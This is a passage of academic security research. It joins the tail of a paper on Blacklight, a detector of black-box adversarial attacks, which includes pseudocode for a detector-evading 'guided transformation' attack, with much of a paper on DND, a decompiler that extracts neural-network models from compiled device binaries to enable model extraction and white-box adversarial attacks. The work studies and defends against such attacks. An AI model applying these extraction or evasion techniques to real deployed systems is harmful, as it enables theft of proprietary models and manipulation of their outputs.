and Resume attack on CIFAR10. The fastest attack (HSJA)

can succeed in roughly 3 years.

tect 100% of attacks on all tasks when the normalized L2 per-

turbation budgets are no more than 0.1. When the normalized

L2 perturbation budgets get larger, Blacklight’s detection rate

drops gradually. However, we believe this is reasonable since

the normalized L2 budget is too large that even exceeds the

normalized L2 distances between some benign images. De-

tailed analysis is listed in our extended version [42].

Pause and Resume Attacks. Table 15 lists the average

number of reset cycles needed for different attacks. We also

include average total number of queries needed for attacks as

reference.

Guided Transformations knowing (q,p,w). Algorithm 1

lists the algorithm used by the attacker to generate queries.

Optimal Black-Box Attacks. We provide more details

on the optimal black-box attacks. First, to simulate a near-

optimal query-efficient attack, we evenly downsample attack

query sequences from 5 attacks to generate attack sequences

that are a tiny fraction of current sequences. We then test

Blacklight’s detection performance on these subsampled at-

tack sequences. Table 14 shows that even when attacks are

able to complete in 500, 100, or 50 queries, Blacklight still

detects them near perfectly (100% detection for 4 attacks and

89% for Boundary attack). Even when these attacks com-

plete within 10 queries, Blacklight is still highly successful

Algorithm 1 Algorithm for Guided Transformation Attacks

when Attacker Knows (q,p,w)

Parameter: Sliding window size w, quantization step q

Input: Attack query x

Output: Modified attack query x

1: procedure INITIZATION(w, q)

2: # Save all combinations for pixel modification in a

queue.

3: PermList← []

4: for i = 1 to w do

5: # compute all Ci
w combinations for selecting i

pixels from w pixels.

6: pixelCombination = Combination(i, w)

7: # For each pixel selected there are 2 choices

for combinations (+q/− q), which generates 2i
×Ci

w

choices in total.

8: allPixelCombination = Update2ChoicesPerPixel

(pixelCombination)

9: PermList.append(allPixelCombination)

10: end for

11: return PermList

12: end procedure

13: procedure GUIDEDTRANSFORMATION(x)

14: # we pop the first element from the queue, which is

the modification choice with smallest # of pixel changes

in the remaining choices.

15: CurrentPermutation = PermList.pop()

16: Apply the modification for CurrentPermutation to ev-

ery w pixels of x.

17: return x

18: end procedure

at detecting NES-QL, ECO and HSJA.

We note that NES-LO and Boundary attacks have much

lower detection rates than other attacks when only choosing

10 queries from attack sequences. This is because both NES-

LO and Boundary attacks are both boundary attacks that

jump back and forth between two images (original and target

image). Random subsets of 10 out of thousands of queries

are more likely to be variants of the source or target that are

sufficiently different from each other as to avoid detection.

Second, for “perfect-gradient” black-box algorithm, each

iteration of the gradient calculation for an analogous white-

box attack would translate to a single query over the net-

work by the black-box attacker. This idealized black-box

attack uses CW [12] and PGD [49] to generate attack se-

quences against our CIFAR10 model. On average, CW and

PGD converge after only 6.3 and 3.1 queries. Against simu-

lated black-box attacks using these attack queries, Blacklight

detects 100% of attacks driven by CW, and 81% of PGD-

driven attacks.
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Abstract
The usage of Deep Neural Networks (DNNs) has steadily in-

creased in recent years. Especially when used in edge devices,
dedicated DNN compilers are used to compile DNNs into
binaries. Many security applications (such as DNN model ex-
traction, white-box adversarial sample generation, and DNN
model patching and hardening) are possible when a DNN
model is accessible. However, these techniques cannot be ap-
plied to compiled DNNs. Unfortunately, no dedicated decom-
piler exists that is able to recover a high-level representation
of a DNN starting from its compiled binary code.

To address this issue, we propose DND, the first compiler-
and ISA-agnostic DNN decompiler. DND uses symbolic exe-
cution, in conjunction with a dedicated loop analysis, to lift the
analyzed binary code into a novel intermediate representation,
able to express the high-level mathematical DNN operations
in a compiler- and ISA-agnostic way. Then, DND matches the
extracted mathematical DNN operations with template math-
ematical DNN operations, and it recovers hyper-parameters
and parameters of all the identified DNN operators, as well as
the overall DNN topology. Our evaluation shows that DND
can perfectly recover different DNN models, extracting them
from binaries compiled by two different compilers (Glow and
TVM) for three different ISAs (Thumb,AArch64, and x86-64).
Moreover, DND enables extracting the DNN models used by
real-world micro-controllers and attacking them using white-
box adversarial machine learning techniques.

1 Introduction

Deep Neural Networks (DNNs) have become a fundamental
component for a number of usage scenarios, ranging from
cloud services to IoT applications [13, 38]. While the training
of DNNs is usually performed on GPUs or TPUs [17], DNNs
can be deployed on general purposes CPUs and MCUs in a
variety of devices, such as IoT devices and embedded systems.
In these cases, DNNs are typically compiled into binary code
using dedicated compilers, such as TVM [7] and Glow [30],
exploiting local instruction set architectures’ (ISAs) features

and performance optimizations.
An increasing usage of DNN compilers is in edge de-

vices, such as micro-controllers [1, 16, 38, 44, 45] and mobile
phones [53]. For instance, micro-controllers use compiled
DNN binaries, like the NXP Semiconductors EdgeReady So-
lution [43], to perform diverse tasks such as secure face recog-
nition, speech recognition, and voice control. A recent forecast
estimates that 98% of edge devices will have intelligence fea-
tures, typically powered by DNNs, by 2025 [38].

While several tools are available to decompile binary code
back to its original source code [5, 21, 33, 57], no existing
approach can recover a high-level description of a compiled
DNN. As the ability to decompile binary code has enabled
several security applications (and decompilers have become
part of the standard tool set of security analysts), likewise ex-
tracting DNNmodels from their compiled binary code enables
a variety of security applications, including DNN model ex-
traction and analysis (both manual and automatic), white-box
adversarial sample generation, white-box DNN backdoor de-
tection, and DNNmodel patching and hardening [6,18,50,51].
Unfortunately, in all these usage scenarios, a source-level rep-
resentation of the decompiled code obtained by applying tra-
ditional decompilers does not offer much help to an analyst,
because such decompilers cannot capture the mathematical
semantics of compiled DNN models.

In this paper, we propose DND, the first compiler- and ISA-
agnostic deep neural network decompiler capable of extracting
DNN models from compiled binaries. Specifically, working
with a compiled DNN model, DND can precisely recover its
parameters, hyper-parameters, and topology, and express the
decompiled model in a high-level representation (as the one
in Figure 1), encoded in the ONNX modeling language [9].

DND is based on the three following novel techniques. First,
it uses symbolic execution in conjunction with a dedicated
loop analysis to capture precise mathematical formulas rep-
resenting how different DNN operators process the received
data. Second, DND uses a novel intermediate representation
(IR) to express the high-level mathematical DNN operations in
a compiler- and ISA-agnostic way. Third, DND identifies the
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type and location of the DNN operators in a target binary by
matching the extracted mathematical operations with template
mathematical DNN operations, recovering hyper-parameters
and parameters of all the identified DNN operators, as well as
the overall network topology.
Our evaluation shows that DND is both generic and accu-

rate. It supports decompiling different DNN models compiled
by two different compilers for three different ISAs, without
requiring manual effort. Moreover, the decompiled DNNmod-
els are structurally equivalent to the original ones, and, after
re-compiling the decompiled DNNs, the generated binaries
classify samples exactly as the original binaries. We further
demonstrate that DND can successfully decompile a DNN bi-
nary used by a real-world micro-controller, and the recovered
DNN model can be used to boost adversarial attacks against
the original DNN, enabling the usage of white-box attacks, in
place of less efficient black-box ones.

In summary, our main contributions are as follows:
• We design and implement DND, the first compiler- and

ISA-agnostic decompiler for compiled DNN models.
DND can decompile a (stripped) DNN binary to recover
the full details of the compiled DNNmodel and represent
them using the ONNX high-level modeling language.

• We design a dedicated IR to represent each DNN oper-
ator and develop a novel technique that uses symbolic
execution to lift the DNN binary to IR expressions. The
extracted IR expressions are then matched against tem-
plate expressions to identify different operators used by
a compiled DNN, recovering their hyper-parameters, pa-
rameters, and the overall network topology.

• We evaluate DND on three ISAs (Thumb, AArch64, and
x86-64), twoDNN compilers (Glow andTVM), and three
widely-used DNN models (MNIST [59], ResNet v1 [20],
and MobileNets v2 [40]). The results show that DND
can fully and accurately recover DNN models from the
compiled binaries across different ISAs, compilers, and
models. We further showcase how the extracted DNN
model, decompiled by DND from a DNN binary running
on a real-world micro-controller, can be used to boost
adversarial attacks [6,34], enabling more effective white-
box attacks.

Our artifacts are available at https://github.com/
purseclab/DnD.

2 Background and Motivation

2.1 Deep Neural Networks
DeepNeural Networks (DNNs) are a class ofmachine learning
(ML) algorithms that use cascaded DNN operators for feature
extraction and transformation. Figure 1 shows a snippet of
ResNet v1 model [20] represented in the ONNX format [9],
which is the open standard for ML interoperability developed
by Linux Foundation. Terminologies used in this paper are

unk__128×32×32×3 unk__129×10

input_1
Transpose

perm = 0, 3, 1, 2

Conv

W〈16×3×3×3〉
B〈16〉
dilations = 1, 1
group = 1
kernel_shape = 3, 3
pads = 1, 1, 1, 1
strides = 1, 1

Relu
Conv

W〈16×16×3×3〉
B〈16〉
dilations = 1, 1
group = 1
kernel_shape = 3, 3
pads = 1, 1, 1, 1
strides = 1, 1

Relu

Conv

W〈16×16×3×3〉
B〈16〉
dilations = 1, 1
group = 1
kernel_shape = 3, 3
pads = 1, 1, 1, 1
strides = 1, 1

Add Relu

Conv

W〈32×16×1×1〉
B〈32〉
dilations = 1, 1
group = 1
kernel_shape = 1, 1
pads = 0, 0, 0, 0
strides = 2, 2

Conv

W〈32×16×3×3〉
B〈32〉
dilations = 1, 1
group = 1
kernel_shape = 3, 3
pads = 0, 0, 1, 1
strides = 2, 2

Relu

Conv

W〈32×32×3×3〉
B〈32〉
dilations = 1, 1
group = 1
kernel_shape = 3, 3
pads = 1, 1, 1, 1
strides = 1, 1

Add Relu

Conv

W〈64×32×1×1〉
B〈64〉
dilations = 1, 1
group = 1
kernel_shape = 1, 1
pads = 0, 0, 0, 0
strides = 2, 2

Conv

W〈64×32×3×3〉
B〈64〉
dilations = 1, 1
group = 1
kernel_shape = 3, 3
pads = 0, 0, 1, 1
strides = 2, 2

Relu

Conv

W〈64×64×3×3〉
B〈64〉
dilations = 1, 1
group = 1
kernel_shape = 3, 3
pads = 1, 1, 1, 1
strides = 1, 1

Add Relu
AveragePool

kernel_shape = 8, 8
strides = 8, 8

Reshape

shape〈2〉

MatMul

B〈64×10〉

Add

B〈10〉
Softmax Identity

1 3

2

Figure 1: A snippet of ResNet v1 model in the ONNX format

described as follows:
Training and Inference. DNNs are used in two phases: train-
ing and inference phases. The training phase feeds labeled
data to a DNN and updates its parameters based on the erro-
neous output results. This phase is computationally heavy and
generally takes a long time; thus, it is usually running on DNN
accelerators (e.g., GPUs and FPGAs). During the inference
phase, a trained DNN predicts the labels of input data. Since
the inference phase is typically not as computationally heavy
as the training phase, they usually run on CPUs, especially on
edge devices [53].
DNN Operators. DNN operators are the building blocks of
DNNs. A DNN operator takes the output of previous opera-
tors as its input (or the input to the DNN model when there
are no previous operators), and computes its output based
on its operator type and its parameters. There are various
types of DNN operators with different high-level semantics,
as shown in Figure 1. For instance, there are feature extrac-
tion operators (e.g., Convolution), down-sampling operators
(e.g., Average-pool), and activation operators (e.g., Relu).
As DNN models have been advanced, new DNN operators
have been introduced. There are 174 different DNN operators
defined in ONNX, and this number is still growing [11].
DNN Hyper-parameters and Parameters. DNN hyper-
parameters can be classified into two categories: (1) the al-
gorithm hyper-parameters, which are only used during the
training phase, and do not influence the inference phase. Ex-
amples of the algorithm hyper-parameters are learning rate
and regularization factor. (2) the model hyper-parameters that
define the network structure and how the operators function,
which include the following:
1. Total number of operators and the type of each operator.
2. The DNN topology. The connections between operators

can be either sequential or non-sequential. Sequential con-
nection denotes that the operator takes only the output of
the prior DNN operator as the input, while non-sequential
connection includes shortcuts and branches [20,58]. For
example, shortcut connection [20] (the edges connecting
the Conv2 in Figure 1) feeds one DNN operator’s output di-
rectly as the input of another DNN operator while skipping
one DNN operator.

3. The attributes of each operator that define its detailed se-
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mantics. For example, the attributes of a Convolution
(i.e., Conv) operator, as shown inside each operator in Fig-
ure 1, include the shape of kernel (i.e., filter), the pad size,
and the stride size.
The parameters are the variables that are learned during

the training process (e.g., weights and bias).
We note that model hyper-parameters and parameters are

targets that DND aims to recover, unlike algorithm hyper-
parameters which are involved only in the training phase.

2.2 DNN Compilers
Different DNN compilers exist to ease the deployment of
a DNN model on various devices. These compilers include
Glow [30] by Facebook, TVM [7] by Apache, XLA [14] by
Google, and NNFusion [27] by Microsoft. Nowadays, they
have been adopted in many real-world products, including
smart edge devices. For instance, NXP Semiconductors inte-
grate a customized Glow compiler into their SDK to support
DNN model deployment on low-power microcontrollers [45].
Frontend and Backend. DNN compilers commonly consist
of a frontend and a backend component. The frontend trans-
forms a DNN model into a high-level intermediate representa-
tion (IR) and performs hardware-independent optimizations,
such as operator fusion [32]. Operator fusion combines the
loop bodies of two adjacent operators leveraging the operator
type and DNN topology, where the second operator is usually
an activation operator (e.g., Relu). For instance, the Conv1
and the following Relu in Figure 1 can be combined. Then,
the backend transforms a high-level IR to a low-level IR and
performs hardware-specific optimizations, including vector-
ization and loop-related optimizations (e.g., loop unrolling).
Finally, the backend emits machine code from the optimized
low-level IR.
Compilation Scheme. Compilation generates DNN binaries
(i.e., the binary programs where a compiled DNN model is
embedded). We can classify the compilation schemes of DNN
compilers into two categories: interpreter-based and ahead-of-
time (AOT) compilation schemes [26].

Interpreter-based compilers generate DNN binaries whose
DNN models are configured at runtime. They usually produce
two artifacts: a DNN configuration file describing the DNN
model (e.g., TFLite [15]) and a runtime library that contains
all the DNN operator implementations. At runtime, a generic
interpreter reads the DNN configuration file, iterates through
DNN operators, and invokes the corresponding DNN operator
implementations [16]. This approach has two disadvantages:
(1) it introduces space and time overhead because of the need
to include the runtime library and parse the DNN configuration
file dynamically; (2) it misses opportunities to optimize the
invoked DNN operator implementations based on specific
operator instances’ attributes (e.g., dimensions, padding size).
On the contrary, during compilation, AOT compilers spe-

cialize the operator implementation for the specific compiled

operator instance’s context, such as its attributes (e.g., ker-
nel shape), and they use general-purpose compiler backends
(e.g., LLVM, GCC) to generate a self-contained executable.
For instance, in Figure 1, although the Conv1 and Conv2 are
both of the same operator type (i.e., Conv), they are compiled
into different binary functions with different control flows
and memory access patterns, due to their different attributes
(e.g., kernel shape). Thanks to the low overhead, the popu-
lar DNN compilers (e.g., Glow, TVM, XLA, and NNFusion)
support AOT compilation to deploy a DNN on embedded
systems [14, 45] with limited hardware resources.

We note that AOT DNN compilers, such as Glow [30] and
TVM [1], compile a DNN model to a binary module exposing
an inference function. An application feeds the input data
to this inference function and obtains the predicted label as
output.

2.3 DNN Attacks
Model Extraction Attacks. Model extraction attacks, which
reveal a DNN’s model hyper-parameters and/or parameters,
can be classified into two categories: algorithm-level extrac-
tion and architecture-level extraction attacks. The algorithm-
level approaches [46, 49, 50] conduct model extraction by re-
peatedly querying a black-box DNNmodel and then retraining
a DNN using the querying results. However, such approaches
require prior knowledge of a DNN’s model hyper-parameters
and significant computational resources [49], prohibiting them
from efficiently extracting DNN models, especially from the
embedded systems. On the other end, the architecture-level
approaches [3,22,29,52,58,61] leverage the architecture-level
information (e.g., cache side-channel) exposed by the hard-
ware. The architecture-level approaches, however, either only
obtain a partial DNN model, or require co-locating onto the
same processor chip the victim process is running on.
Adversarial Attacks. Adversarial attacks, which induce a
DNN to misclassify an input, can be classified into two cat-
egories: black-box attacks and white-box attacks. Black-box
attacks [4, 34] first acquire a substitute model either from
the DNN models with a similar task or from training with
the querying data of the victim model, then generate the ad-
versarial examples based on the substitute model. Although
black-box attacks do not require attackers to have prior knowl-
edge of the victim DNN (e.g., model hyper-parameters and
parameters), they are ineffective and time-consuming. Com-
pared with black-box attacks, white-box attacks [6, 48] are
more effective and efficient [6, 34] by leveraging the prior
knowledge of the victim DNN model.

2.4 Decompiler
Decompilers are designed to reconstruct a high-level language
representation (typically in C pseudocode) from program bi-
naries. There are many works on C/C++ decompilers from
both academia [5, 12, 19, 25, 41, 56, 57] and industry [21, 33].
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Despite the existing general-purpose decompilers can decom-
pile the binary programs to (usually not easily understandable,
nor fully correct) C statements, they lack the capabilities to
lift the binary code of vectorized mathematical calculations
into high-level DNN operators (e.g., ONNX operators [11])
and recover the DNN topology. These limitations hinder their
usefulness for the security analysis of DNN binaries. On the
contrary, DND can decompile a DNN model embedded in the
binary program and generate a high-level representation (i.e.,
in the ONNX format [9]), including both the model hyper-
parameters and parameters of the embedded DNN model.

3 Scope

In this section, we describe the input/output of DND, and the
standard and realistic assumptions on which DND relies.
Input. DND supports (stripped) DNN binaries (i.e., the bi-
nary programs where a compiled DNN model is embedded)
compiled by the AOT compilation scheme running on CPU
without hardware accelerators. This configuration is common
on edge devices [53]. DND does not support DNN binaries
compiled by interpreter-based compilation schemes because
of the following reasons: (i) DNN binaries compiled by the
interpreter-based compilation scheme usually accompany the
DNN configuration files. We can easily infer DNN models
from those files because they contain the information on the
model hyper-parameters and parameters of the deployed DNN
model. (ii) static analysis cannot extract DNN models from
DNN binaries compiled by the interpreter-based compilation
without the DNN configuration file because DNNs are con-
figured dynamically. Furthermore, DND does not support the
DNN binaries running on DNN accelerators because DNN ac-
celerators have very diverse ISAs, and they are not supported
by the general-purpose disassemblers. Section 9 discusses
more details why DND does not support decompiling DNN
binaries on accelerators.
Output. DND can decompile a DNN model embedded in an
input binary. The output is in the ONNX format [9] (e.g., Fig-
ure 1) including the DNN model’s model hyper-parameters
and parameters. We can use this output to reveal the DNN
model’s details and conduct security analysis, such as model
extraction, adversarial examples discovery, and model hard-
ening. DND does not recover the algorithm hyper-parameters
(defined in Section 2.1) because they neither affect the infer-
ence process nor are recoverable from the binary.
Assumptions. DND relies on the following assumptions:
1. We have access to a DNN binary (e.g., dumping DNN

binaries running on an embedded system).
2. The control-flow graph (CFG) recovery is reliable. Our

evaluation shows that the recovered CFGs, though impre-
cise, are sufficient enough for our decompilation purpose.

3. DNN compilers do not use obfuscation technique. To the
best of our knowledge, we are not aware of obfuscated
DNNbinaries, and de-obfuscating binaries is an orthogonal

direction.

4 Challenges and Solutions

DNN binary decompilation imposes several unique challenges
compared to C/C++ binary decompilation. We enumerate
three major challenges and provide a summary of how DND
addresses them.
Challenge 1: Diverse Compilers and Architectures. DNN
models are compiled with various DNN compilers and onto
different instruction set architectures (ISAs), such as Arm
Thumb, Arm AArch64, and x86-64. Each combination gener-
ates totally different binary code, regarding their control flows
and data flows, as demonstrated in decompiled code samples
in Appendix C. Therefore, simple pattern matching, using
either binary code or decompiled code generated by generic
decompilers, is not suitable to recover the DNN model hyper-
parameters in a generic, compiler- and ISA-agnostic way.
Solution 1: We use a dedicated IR which is able to represent
each DNN operator as an operator summary, including an AST
of algebraic operations. DND first identifies the location of
each DNN operator in a DNN binary and then uses selective
symbolic execution to generate an operator summary with an
AST of algebraic operations of each DNN operator, which is
represented with the IR we design. Because a DNN operator
has the same mathematical semantic even with different DNN
compilers and ISAs, and our IR and operator summary are
able to capture the mathematical semantic, DND can identify
them in a compiler- and ISA-agnostic manner.
Challenge 2: Vectorized Mathematical Computation and
Complicated Loop Structure. DNN operators, as tensor op-
erations, are always implemented and compiled as nested loops
with vectorized mathematical computations inside the loop
bodies. The existing general-purpose decompilers (e.g., Hex-
Rays) do not currently recognize vectorized mathematical
computations, leading to decompiled code containing long
loop bodies and excessive bitwise operations, as shown in
Appendix C. Moreover, the complicated control flow and the
huge loop index range of nested loops hinder the usage of
symbolic execution from generating the operator summary of
each DNN operator, because of the path explosion problem.
Solution 2: We use a dedicated symbolic execution to cap-
ture the semantics of vectorized mathematical computations,
by keeping track of the symbolic constraints related to each
DNN operator’s input and output, and lifting such symbolic
constraints to the operator summary represented with our IR.
To solve the path explosion issue, DND only executes one
iteration of each loop, leveraging the fact that the loops in
DNN operators usually implement tensor operations, and have
no data dependencies between each iteration. Therefore, exe-
cuting one iteration of each loop can sufficiently capture the
semantics of a DNN operator. To enable such dedicated sym-
bolic execution, we conduct a loop analysis to identify each
loop’s induction variables (i.e., loop index).
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Figure 2: Pipeline of DND
Challenge 3: Scalable Support toDNNOperators.Asmen-
tioned in Section 2.1, there are many different DNN operators.
Therefore, it is not scalable to manually design a heuristic
for each DNN operator to identify its DNN operator type and
extract its parameters.
Solution 3: For an unknownDNN operator,wematch the AST
included in its generated operator summary with operators’
template ASTs to identify its operator type. DND first builds
a template AST database, which maps each DNN operator to
its corresponding AST. Specifically, DND leverages an up-
to-date DNN compiler to compile each DNN operator and
generate the template AST of each compiled DNN operator,
represented with the IR we design. Then, given the previously
generated operator summary of an unknown DNN operator,
DND matches its AST to one of the AST in the template
AST database, and determines the type of the unknown DNN
operator.

5 System Design

DND’s workflow is composed of three components, as illus-
trated in Figure 2. Specifically, these three components are (1)
DNNOperator Location Identification, (2)Operator Summary
Generation, and (3) DNN Model Lifting.
In the first stage, DND recovers the control flow graph

(CFG) and identifies the location of inference function and
DNN operators from the input (stripped) DNN binary (Step
¶in Figure 2, details in Section 5.1).

Next, DND generates operator summary of each DNN oper-
ator (Section 5.2). To do so, DND first conducts loop analysis
(Step ·) to identify loops’ information. Such information
is essential for further analysis. Then, DND leverages loop’s
information to perform selective symbolic execution that ex-
tracts the output of a DNN operator as symbolic expressions of
its input and parameters (e.g., output[i] = input[i] ∗ param[i]),
which capture the mathematical semantic of a DNN operator
(Step ¸). The extracted symbolic expressions are then lifted
to the operator summary in our IR format (Step ¹). The op-
erator summary of a DNN operator includes the ASTs and
other information extracted from Step ·and Step ¸. Note
that DND also generates template ASTs through the afore-

mentioned operator summary generation procedure (Step ·,
¸ and ¹) that will be used in the next step (Section 5.3).

After the operator summary generation, the next step is to
lift each operator summary to a DNN operator and convert it to
a high-level DNN representation (i.e., an ONNX model [11])
(Section 5.4). Specifically, DND first matches the AST in
each operator summary with a template AST to determine
its DNN operator type (Step º). Then, DND recovers the
DNN topology by identifying the data dependencies between
DNN operators (Step »). Finally, DND recovers each DNN
operator’s attributes and parameters leveraging the identified
DNN operator type and DNN topology, and converts the fully-
recovered DNN model to an ONNX model (Step ¼).

5.1 DNN Operator Location Identification
In this step, DND identifies the locations of the inference
function and the DNN operators. Since DNN operators are
essentially tensor computations, they are implemented and
compiled as multiple nested loops with a number of numerical
computations inside. Furthermore, DNN operators reside in
either the inference function or its callee functions. DND lever-
ages these two properties to identify the locations of DNN
operators and the inference function.
Specifically, DND first identifies the locations of the func-

tions with possible tensor computation (i.e., containing two or
more nested loops or invoking math functions in the standard
library) as DNN operator candidates. Then, DND collects the
caller functions of each function in the candidate list. Among
these caller functions, the one calling most candidates is con-
sidered as the “inference function” (i.e., acting as the DNN
binary’s dispatch function). Finally, DND filters out the candi-
date functions that are not the callees of the inference function.

5.2 Operator Summary Generation
After identifying the locations of DNN operators, DND ex-
tracts the symbolic expressions from each DNN operator and
lifts them to operator summary in the IR we design. To do
so, DND first conducts loop analysis for each DNN operator
(Step · described in Section 5.2.1). Next, leveraging the loop
analysis results, DND extracts the output of each DNN opera-
tor as symbolic expressions of its input and parameters, using
our customized selective symbolic execution algorithm (Step
¸ described in Section 5.2.2). Then, DND lifts the symbolic
expressions, which contain a semantic of each DNN operator,
to the operator summary (Section 5.2.4), in the IR we design
(Step ¹ described in Section 5.2.3).

In the rest of this section, we refer, as an example, to the
Conv operator depicted in Figure 3 to explain howDND gener-
ates operator summary. For simplicity, we assume the example
Conv operator is not compiled with optimizations (e.g., loop
unrolling and operator fusion) and without advanced attributes
(i.e., padding and striding). We will explain how we handle
common compiler optimizations and advanced attributes in
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(a) Conv operator

1 void Conv(PTR∗ input, PTR∗ filter, PTR∗ output){
2 for(i=0;i<2;i++) // output width index
3 for(j=0;j<2;j++) // output length index
4 for(u=0;u<2;u++) // filter width index
5 for(v=0;v<2;v++) // filter length index
6 output[i][j]+=input[i+u][j+v]∗filter[u][v]
7 }

(b) Simplifed decompiled code of Conv
1 output[i][j]+=input[i+u][j+v]∗filter[u][v]

(c) Extracted symbolic expression of Conv
1 addr: output[i][j]
2 expr: Sum(element =Mul(input[i+u][j+v],
3 filter[u][v]),
4 index =(u, v))
5 IVs: (u, init=0,inc=1,count=2)
6 (v, init=0,inc=1,count=2)
7 (i, init=0,inc=1,count=2)
8 (j, init=0,inc=1,count=2)

(d) Generated operator summary

Figure 3: Operator summary generation of Conv
Sections 5.2.4 and 5.4.3, respectively.
5.2.1 Loop Analysis
The main goal of loop analysis is to identify the information
on the basic induction variable (IV), or informally loop index
variable of each loop in a DNN operator. For example, the
i, j, u, v in Figure 3b are the IVs. The output of this analy-
sis includes IVs, their initial values, their step sizes (i.e., the
increment constant) and their loop count (i.e., how many iter-
ations the loop is supposed to be repeatedly executed). Then,
DND will use these IVs information to extract the symbolic
expressions in Section 5.2.2.

To do so, DND first recovers loops’ structural information
in each DNN operator, including the entry points, the exit
points and the break edges (denoting the edges in CFG that
jump out of the current loop). Then, DND leverages the IVs’
properties in the binary program that we observe to recover
the IVs, which are the following: (i) IVs are initialized with
constants and loaded into general registers in the loop’s entry
block (e.g., i = 0 in Line 2 in Figure 3b); (ii) IVs determine
the conditions of the break edges; (iii) a constant increments
the value of an IV (i.e., step size) within the execution of the
loop’s body (e.g., the step size is 1 for Line 2 in Figure 3b).
Let us show in Algorithm 1 how to identify IVs using the

aforementioned three properties by symbolically executing
each DNN operator from its entry point to its exit point (Line
2, 16-17). Leveraging the property (i), DND symbolizes every

general register initialized by a constant in the loop’s entry
block (Line 10-12). These symbolic variables are the IV can-
didates, which are further filtered out by checking the property
(ii) and (iii). To check the property (ii), whenever encountering
the conditional statements related to the loop’s break edges
during the symbolic execution,DND records these conditional
statements as loop exit conditions, along with the IV candi-
dates that are being accessed (Line 14). At the same time, the
conditional statements related to break edges will make the
symbolic execution engine diverge into two execution paths:
one that satisfies the condition leading to exiting the loop, and
the other does not satisfy the condition leading to continuing
executing the loop. To avoid path explosion caused by the
complicated nested loops, DND only keeps the execution path
that exits the loop and discards the other execution path (Line
15). To check the property (iii), after reaching the DNN oper-
ator’s most outer loop’s exit point (e.g., Line 2 in Figure 3b),
DND inspects each IV’s corresponding register to check if
its register is updated with a constant (i.e., step size). At last,
DND considers an IV candidate as an IV when it satisfies both
properties (ii) and (iii) (Line 18).
Finally, DND recovers IVs’ initial values, step sizes, and

loop counts (Line 19). In particular, loop counts are computed
from initial values, step sizes, and the collected loop exit con-
ditions. For example, the initial value, step size and loop exit
conditions of i in Figure 3b are 0, 1, and i<2, respectively.
Then, the loop count is derived by inquiring the solver with
these information.
Algorithm 1 Loop analysis
1: procedure LOOPANALYSIS(op: operator)
2: symEngine ← SymbolicEngine(op.entryAddr)
3: candidates ← ∅
4: while symEngine.hasActive() do
5: symEngine.step()
6: for each state ∈ symEngine.states do
7: inst ← state.lastInst
8: addr ← state.addr
9: if addr ∈ op.entryBlocks then
10: if isRegWrite(inst) and isConstant(inst.writeVal) then
11: inst.writeVal ← createSym()
12: candidates.add((addr, inst.writeReg))
13: if addr ∈ op.breakEdgeSrcAddr then
14: symEngine.record(state.branch.condition.get_IV())
15: symEngine.keep(getBreakState(state.succ))
16: if addr ∉ op.addrRange then
17: symEngine.stash(state)
18: IVs ← checkConditionAndUpdate(candidates)
19: IVs.getLoopCount()
20: Return IVs

5.2.2 Symbolic Expression Extraction
ADNNoperator typically performs tensor computation,which
takes its input and parameters, and generates the computed
output transferring to its successor DNN operators as the in-
put. As such, we can represent the output of a DNN opera-
tor as symbolic expressions of the operator’s input and the
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operator’s parameters. These expressions contain the math-
ematical semantics DND needs to recover. To extract such
symbolic expressions, DND performs customized selective
symbolic execution with the IVs (identified in Section 5.2.1)
as symbolic variables. This is because making IVs as sym-
bolic variables brings the two following benefits: (1) it enables
DND to symbolize the mathematical expressions of the DNN
operator’s output as symbolic expressions. (2) it allows DND
to efficiently extract the symbolic expressions of a DNN op-
erator’s output by only executing one iteration of each loop,
as discussed in Solution 2 of Section 4. We will explain those
benefits using Figure 3b.

Regarding the first benefit, the expression at Line 6 in Fig-
ure 3b is a symbolic expression of the operator’s output, where
the i, j, u, v are symbolized during the symbolic execution.
Along with the information carried by the symbolic variables,
this symbolic expression can represent the semantics of this
Conv operator. Specifically, for each value of the i and j,
output[i][j] (i.e., the Conv operator’s output) is the accu-
mulation of input[i+u][j+v]*filter[u][v] over all the
possible values of u and v.
Regarding the second benefit, DND can symbolically exe-

cute only one iteration of the loop in Line 5-6 with the symbol-
ized v. Specifically, DND exits the loop during the symbolic
execution by assigning 2 to the symbolic variable v to satisfy
the v==2 predicate.
Furthermore, in order to keep track of the symbolic con-

straints related to memory reads and writes, DND’s cus-
tomized concretization strategy does not concretize mem-
ory addresses. Instead, when reading from symbolic memory,
DND returns the symbolic memory address together with a
proper annotation. For instance, when reading from address
input+i, DND returns input+i with MemReadVal annota-
tion, denoting where the value is read from. Using this annota-
tion, DND keeps track of memory read values, and records the
written expressions when the code write to symbolic memory.

We explain the detailed procedure to extract symbolic
expressions in Algorithm 2. In particular, DND symboli-
cally executes each DNN operator starting from its entry
point (Line 3). When reaching the identified IV initializa-
tion code, DND symbolizes IVs’ corresponding registers in-
stead of initializing them with a constant (Line 9-10). When-
ever encountering a conditional statement that can exit a
loop, DND follows the path exiting the loop (Line 15-16).
Furthermore, when reading an operator input or parameter
with the symbolic address, DND returns the expression of
symbolic address itself (e.g., the address of filter[u][v])
(Line 11-12). In this way, DND can keep track of each
symbolic expression’s provenance (i.e., the symbolic ad-
dress where it is read from). To extract the symbolic expres-
sions of DNN operator output, when the DNN operator out-
put is updated, DND collects the symbolic address of the
DNN operator output and its corresponding symbolic expres-
sions (i.e., += input[i+u][j+v]*filter[u][v]) (Line 13-

14). Figure 3b shows the output example. In Line 6,
output[i][j] is the symbolic address of operator output,
and += input[i+u][j+v]*filter[u][v] is its correspond-
ing symbolic expressions. We show the example result of this
symbolic expression extraction in Figure 3b.

Note that there are conditional statements that are not related
to loops’ break edges (e.g., the statement in Conv checking
if padding is necessary). For example, if the padding size of
the Conv operator in Figure 3a is 1, there will be conditional
statements checking if the computation is in the padding zone
(i.e., i+u<1 and i+u>4). When DND encounters these condi-
tional edges, DND forks multiple execution states and records
the corresponding conditions. Such state and condition infor-
mation can be later used to infer a DNN operator’s attributes
(e.g., padding size of Conv as described in Section 5.4.3).

Algorithm 2 Symbolic expression extraction
1: procedure LOOPANALYSIS(op: operator, IVs: loop analysis results)
2: memWrite ← ∅
3: symEngine ← SymbolicEngine(op.entryAddr)
4: while symEngine.hasActive() do
5: symEngine.step()
6: for each state ∈ symEngine.states do
7: inst ← state.lastInst
8: addr ← state.addr
9: if addr ∈ IVs.definitionAddr then
10: inst.writeVal ← createSym(IVs.getIV(addr))
11: if isMemRead(inst) and isSymbolic(inst.readAddr) then
12: inst.readVal ← inst.readAddr.annotate(MemRead)
13: if isMemWrite(inst) and isSymbolic(inst.writeAddr) then
14: memWrite.add((inst.writeAddr, inst.writeVal))
